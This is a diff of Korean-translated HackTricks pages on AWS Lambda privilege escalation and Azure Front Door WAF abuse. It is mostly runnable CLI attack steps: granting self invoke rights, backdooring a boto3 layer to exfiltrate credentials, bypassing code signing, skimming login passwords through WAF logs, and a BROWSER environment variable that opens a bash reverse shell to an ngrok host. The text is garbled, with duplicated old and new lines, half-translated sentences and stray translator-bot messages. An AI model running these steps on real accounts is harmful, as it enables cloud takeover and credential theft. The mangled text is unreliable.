이전 시나리오와 마찬가지로, `lambda:AddPermission` 권한이 있다면 **자신에게 `lambda:InvokeFunction` 권한을 부여할 수 있습니다**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로의 직접 privesc.
|
||||
**잠재적 영향:** 지정된 임의의 Lambda 서비스 역할에 대한 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
다음 권한을 가진 사용자 **`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`**(및 잠재적으로 `dynamodb:PutItem`, `dynamodb:CreateTable`)는 `lambda:InvokeFunction` 없이도 간접적으로 **escalate privileges** 할 수 있습니다.\
|
||||
이들은 **악성 코드가 포함된 Lambda function을 생성하고 기존 IAM role을 할당할 수 있습니다**.
|
||||
`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` 권한(및 잠재적으로 `dynamodb:PutItem` 및 `dynamodb:CreateTable`)을 가진 사용자는 `lambda:InvokeFunction` 없이도 간접적으로 **escalate privileges** 할 수 있습니다.\
|
||||
이들은 악성 코드를 포함한 **Lambda function을 생성하고 기존 IAM role을 할당**할 수 있습니다.
|
||||
|
||||
사용자는 Lambda를 직접 호출하는 대신 기존 DynamoDB 테이블을 생성하거나 활용하고, 이를 event source mapping을 통해 Lambda에 연결합니다. 이 구성은 테이블에 **새 항목이 입력될 때 자동으로 트리거됨** 을 보장하며(사용자 동작이든 다른 프로세스든), 결과적으로 Lambda function을 간접적으로 호출하고 전달된 IAM role의 권한으로 코드를 실행합니다.
|
||||
직접적으로 Lambda를 호출하는 대신, 사용자는 기존 DynamoDB 테이블을 설정하거나 활용하고 이를 event source mapping을 통해 Lambda에 연결합니다. 이 구성은 테이블에 새 항목이 추가될 때 Lambda function이 **자동으로 트리거되도록** 보장하며, 이는 사용자의 행위나 다른 프로세스에 의해 발생할 수 있습니다. 결과적으로 Lambda function이 간접적으로 호출되어 전달된 IAM role의 권한으로 코드가 실행됩니다.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
AWS 환경에 이미 DynamoDB가 활성화되어 있으면, 사용자는 Lambda 함수에 대해 **event source mapping을 설정하기만 하면 됩니다**. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**:
|
||||
AWS 환경에서 DynamoDB가 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대해 **event source mapping을 설정하기만 하면 됩니다**. 그러나 DynamoDB가 사용 중이 아니라면, 사용자는 **스트리밍이 활성화된 새 테이블을 생성해야 합니다**:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -113,16 +113,16 @@ aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Lambda 함수가 DynamoDB 스트림에 연결되어 있으면, 공격자는 DynamoDB 스트림을 활성화하여 **간접적으로 Lambda를 트리거할 수 있습니다**. 이는 DynamoDB 테이블에 **항목을 삽입**함으로써 수행할 수 있습니다:
|
||||
Lambda function이 DynamoDB stream에 연결되어 있으면, 공격자는 **DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 DynamoDB table에 **항목을 삽입하는 것**으로 수행할 수 있습니다:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Potential Impact:** 지정된 lambda 서비스 역할에 대한 직접 privesc.
|
||||
**잠재적 영향:** 지정된 lambda 서비스 역할로의 직접 privesc.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
이 권한을 가진 공격자는 **자신(또는 다른 사용자)에게 임의의 권한을 부여할 수 있습니다** (이는 리소스에 대한 액세스 권한을 부여하기 위한 리소스 기반 정책을 생성합니다):
|
||||
이 권한을 가진 attacker는 **자신(또는 다른 사람)에게 어떤 권한이든 부여할 수 있습니다** (이는 리소스에 대한 접근을 부여하는 resource based policies를 생성합니다):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Potential Impact:** 코드 수정 및 실행 권한을 부여하여 사용 중인 lambda service role에 대해 직접적인 privesc를 얻을 수 있습니다.
|
||||
**Potential Impact:** 코드 수정 및 실행 권한을 부여하여 사용된 lambda 서비스 역할에 대한 직접적인 privesc.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
이 권한을 가진 공격자는 **자신(또는 다른 사용자)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다
|
||||
이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Potential Impact:** 민감한 정보에 대한 잠재적 접근.
|
||||
**잠재적 영향:** 민감한 정보에 접근할 가능성.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
권한을 보유한 사용자 **`lambda:UpdateFunctionCode`** 는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있는 가능성**이 있습니다.\
|
||||
공격자는 **Lambda 코드를 수정하여 exfiltrate the IAM credentials** 할 수 있습니다.
|
||||
`lambda:UpdateFunctionCode` 권한을 가진 사용자는 **IAM role에 연결된 기존 Lambda 함수의 코드를 수정할 가능성**이 있습니다.\
|
||||
공격자는 **lambda의 코드를 수정하여 IAM credentials를 exfiltrate할 수 있습니다**.
|
||||
|
||||
공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 허용할 수 있습니다.
|
||||
공격자가 함수를 직접 호출할 수 있는 권한이 없더라도, 해당 Lambda function이 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거되어 수정된 코드가 간접적으로 실행될 가능성이 높습니다.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Potential Impact:** 사용된 lambda 서비스 역할로의 직접 privesc.
|
||||
**잠재적 영향:** 사용된 lambda 서비스 역할에 대한 직접적인 privesc.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
#### 환경 변수를 통한 RCE
|
||||
|
||||
이 권한으로 Lambda에 임의의 코드를 실행하게 하는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING`와 `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하도록 만들 수 있습니다:
|
||||
이 권한이 있으면 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING`와 `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하게 만들 수 있습니다:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
다른 스크립팅 언어의 경우 사용할 수 있는 다른 env 변수들이 있습니다. 자세한 내용은 다음의 스크립팅 언어 하위 섹션을 확인하세요:
|
||||
다른 스크립팅 언어의 경우 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어의 하위 섹션을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 은 lamdba 함수에 **code**를 포함할 수 있게 해주지만 **별도로 저장**하여 함수 코드를 작게 유지하고 **여러 함수가 code를 공유할 수 있다**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)를 사용하면 lamdba 함수에 **code**를 포함할 수 있지만 **storing it separately** 방식으로 저장하여 함수 코드를 작게 유지할 수 있고 **several functions can share code**.
|
||||
|
||||
lambda 내부에서는 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다:
|
||||
lambda 내부에서는 다음과 같은 함수를 통해 python code가 로드되는 경로를 확인할 수 있습니다:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -200,22 +200,22 @@ These are the places:
|
||||
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### 악용
|
||||
#### Exploitation
|
||||
|
||||
권한 `lambda:UpdateFunctionConfiguration` 를 악용해서 람다 함수에 **새 레이어를 추가**할 수 있습니다. 임의 코드를 실행하려면 이 레이어가 람다가 **임포트할 라이브러리**를 포함해야 합니다. 람다 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있고, 해당 람다가 **이미 레이어를 사용 중일 수 있으며**, 그 레이어를 **다운로드**하여 **코드를 추가**할 수도 있다는 점을 유의하세요.
|
||||
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **새 레이어를 추가** to a lambda function. To execute arbitrary code this layer need to contain some **라이브러리 that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **이미 레이어를 사용 중** and you could **다운로드** the layer and **코드를 추가** in there.
|
||||
|
||||
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
`./lambda_layer/boto3/__init__.py` 파일을 열고 **전역 코드에 backdoor를 추가**할 수 있습니다 (예: exfiltrate credentials를 전송하거나 reverse shell을 얻는 함수).
|
||||
`./lambda_layer/boto3/__init__.py`를 열고 **글로벌 코드에 backdoor를 추가** (예: exfiltrate credentials 하거나 reverse shell을 얻는 함수).
|
||||
|
||||
그런 다음 `./lambda_layer` 디렉터리를 zip으로 압축하고 **upload the new lambda layer**를 자신의 계정에 업로드하세요(또는 피해자 계정에 업로드할 수 있으나 권한이 없을 수 있습니다).\
|
||||
참고: /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 합니다. 또한 레이어는 lambda에서 사용하는 **compatible with the python version**이어야 하며, 계정에 업로드할 경우 **same region:**
|
||||
그런 다음 `./lambda_layer` 디렉터리를 zip으로 묶어 **새 lambda layer를 업로드**하세요 (자신의 계정에, 또는 피해자의 계정에 업로드할 수 있지만 권한이 없을 수 있습니다).\
|
||||
참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 합니다. 또한, layer는 lambda에서 사용하는 **python version**과 호환되어야 하며, 자신의 계정에 업로드하는 경우 **같은 리전:**에 있어야 합니다:
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록**:
|
||||
이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록** 만드세요:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
@@ -228,52 +228,50 @@ aws lambda update-function-configuration \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
다음 단계는 우리가 직접 **함수를 호출(invoke the function)** 할 수 있다면 그렇게 하거나, 정상적인 방법으로 **함수가 호출될 때까지 기다리는 것**인데 — 후자가 더 안전한 방법입니다.
|
||||
다음 단계는 가능하다면 우리가 그 함수를 직접 **실행**하거나, 정상적인 방법으로 **함수가 호출될 때까지 기다리는 것**입니다 — 후자가 더 안전한 방법입니다.
|
||||
|
||||
**이 취약점을 보다 은밀하게 악용하는 방법**은 다음에서 확인할 수 있습니다:
|
||||
A **더 은밀한 방식으로 이 취약점을 악용하는 방법**은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 사용된 lambda 서비스 역할에 대한 직접 privesc.
|
||||
**Potential Impact:** 해당 lambda 서비스 역할에 대한 직접 privesc.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
해당 권한들이 있으면 함수를 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했으니, 시도하시면 알려주세요!
|
||||
이 권한들이 있다면 함수를 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 이를 테스트할 방법을 찾지 못했으니, 만약 방법을 찾으시면 알려주세요!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
일부 lambda는 파라미터로부터 사용자들이 보내는 **민감한 정보를 수신(receiving sensitive info from the users in parameters.)** 합니다. 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요:
|
||||
일부 Lambda 함수는 파라미터로부터 사용자들로부터 민감한 정보를 **받게 되곤 합니다.** 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 강등할 수 있는 공격자는 서명되지 않은 코드를 함수에 배포할 수 있습니다. 이는 함수의 IAM role이나 트리거를 변경하지 않고도 무결성 보호를 우회합니다.
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
권한(다음 중 하나):
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- Path B의 경우, CSC 정책이 `WARN`(unsigned artifacts allowed)으로 설정되어 있으면 AWS Signer 프로필이 필요 없습니다.
|
||||
- Path B의 경우, CSC 정책이 `WARN`으로 설정되어 있으면(서명되지 않은 아티팩트 허용) AWS Signer 프로파일이 필요하지 않습니다.
|
||||
|
||||
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
단계 (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
작은 페이로드를 준비하세요:
|
||||
Prepare a small payload:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
@@ -292,7 +290,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
경로 B) Warn으로 다운그레이드하고 코드 업데이트 (삭제가 허용되지 않는 경우):
|
||||
경로 B) Warn으로 다운그레이드하고 code를 업데이트 (delete가 허용되지 않는 경우):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,15 +301,24 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Please paste the contents of src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md here and I will translate the relevant English to Korean per your rules (keeping code, tags, links, paths and specified words unchanged).
|
||||
확인했습니다.
|
||||
|
||||
요약:
|
||||
- 주어진 README.md의 영어 본문을 한국어로 번역합니다.
|
||||
- 코드, 해킹 기법 이름, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp 등), 'leak', pentesting, 링크, 경로, 마크다운/HTML 태그는 번역하지 않습니다.
|
||||
- {#tags}, {#tab ...}, {#ref}...{#endref}, {#include ...} 등 기존 태그/링크/경로/참조는 그대로 유지합니다.
|
||||
- 출력은 원래 마크다운/HTML 문법을 그대로 보존합니다.
|
||||
- 번역문 외에 추가 내용은 포함하지 않습니다.
|
||||
|
||||
원문 README.md 내용을 제공해 주시면 번역을 시작하겠습니다.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
잠재적 영향: 서명된 배포만 적용되도록 설정된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드 실행이 발생할 수 있습니다.
|
||||
잠재적 영향: 서명된 배포만 적용하도록 설정된 함수에 서명되지 않은 임의의 코드를 푸시하고 실행할 수 있어, 결과적으로 함수 역할의 권한으로 코드 실행이 발생할 수 있습니다.
|
||||
|
||||
정리:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,81 @@
|
||||
# Az - 파일 공유
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr 우회
|
||||
## RemoteAddr Bypass
|
||||
|
||||
이 **[블로그 게시물](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)**은 Azure Front Door에서 일부 네트워크 제한을 구성할 때 **`RemoteAddr`** 또는 **`SocketAddr`**를 기반으로 필터링할 수 있는 방법을 설명합니다. 주요 차이점은 **`RemoteAddr`**가 실제로 **`X-Forwarded-For`** HTTP 헤더의 값을 사용하여 우회하기 매우 쉽다는 것입니다.
|
||||
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explains how when you are configuring some network restrictions with Azure Front Door you can filter based on **`RemoteAddr`** or **`SocketAddr`**. Being the main difference that **`RemoteAddr`** actually uses the value from the **`X-Forwarded-For`** HTTP header making it very easy to bypass.
|
||||
|
||||
이 규칙을 우회하기 위해 자동화된 도구를 사용하여 **IP 주소를 무작위로 대입**하여 유효한 주소를 찾을 수 있습니다.
|
||||
To bypass this rule automated tools can be used that **brute-force IP addresses** until it finds a valid one.
|
||||
|
||||
이는 [Microsoft 문서](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction)에서 언급되었습니다.
|
||||
This is mentioned in the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
## 참조
|
||||
Abuse Azure Front Door (AFD) WAF Custom Rules in combination with Log Analytics to capture cleartext credentials (or other secrets) traversing the WAF. This is not a CVE; it’s misuse of legitimate features by anyone who can modify the WAF policy and read its logs.
|
||||
|
||||
Key behavior enabling this:
|
||||
- AFD WAF Custom Rules can match on request elements including headers and POST parameters.
|
||||
- When a Custom Rule uses the action Log traffic only, evaluation continues and traffic proceeds (no short-circuit), keeping the flow normal/stealthy.
|
||||
- AFD writes verbose diagnostics to Log Analytics under Category FrontDoorWebApplicationFirewallLog. Matched payload details are included in details_matches_s along with the rule name in ruleName_s.
|
||||
|
||||
### 엔드 투 엔드 워크플로우
|
||||
|
||||
1. Identify target POST parameters
|
||||
- 로그인 폼을 확인하고 파라미터 이름(e.g., username, password)을 기록합니다.
|
||||
|
||||
2. Enable diagnostics to Log Analytics
|
||||
- Front Door profile > Monitoring > Diagnostic settings에서 로그를 Log Analytics workspace로 전송합니다.
|
||||
- 최소한 카테고리: FrontDoorWebApplicationFirewallLog를 활성화하세요.
|
||||
|
||||
3. Create a malicious Custom Rule
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: 무해해 보이는 이름, 예: PasswordCapture
|
||||
- Priority: 낮은 숫자(예: 5)로 설정하여 조기 평가되게 함
|
||||
- Match: POST 인자 username 및 password, Operator = Any (모든 값 매칭)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. Generate events
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. Log Analytics에서 자격 증명 추출 (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
해당 파일의 내용을 받지 못했습니다. src/pentesting-cloud/azure-security/az-services/az-front-door.md 파일의 마크다운(내용)을 여기에 붙여넣어 주세요. 주신 규칙(코드·태그·링크·경로는 번역 금지 등)에 맞춰 한국어로 번역해 드리겠습니다.
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
일치한 값들은 details_matches_s에 나타나며 규칙과 일치한 cleartext 값을 포함합니다.
|
||||
|
||||
### Why Front Door WAF and not Application Gateway WAF?
|
||||
- Application Gateway WAF의 custom-rule logs는 동일한 방식으로 문제를 일으킨 POST/header 값을 포함하지 않습니다; 반면 AFD WAF diagnostics는 details에 매칭된 콘텐츠를 포함하여 credential capture를 가능하게 합니다.
|
||||
|
||||
### Stealth and variants
|
||||
- 요청을 중단하지 않으려면 Action을 'Log traffic only'로 설정하고 다른 룰들이 정상적으로 평가되게 유지하세요.
|
||||
- 낮은 숫자의 Priority를 사용하여 logging rule이 이후의 Block/Allow 룰들보다 먼저 평가되게 하세요.
|
||||
- POST params뿐만 아니라 민감한 이름/위치(예: Authorization 같은 headers나 body fields의 API tokens)를 타깃으로 삼을 수 있습니다.
|
||||
|
||||
### Prerequisites
|
||||
- 기존의 Azure Front Door 인스턴스.
|
||||
- AFD WAF policy를 편집하고 연결된 Log Analytics workspace를 읽을 수 있는 권한.
|
||||
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user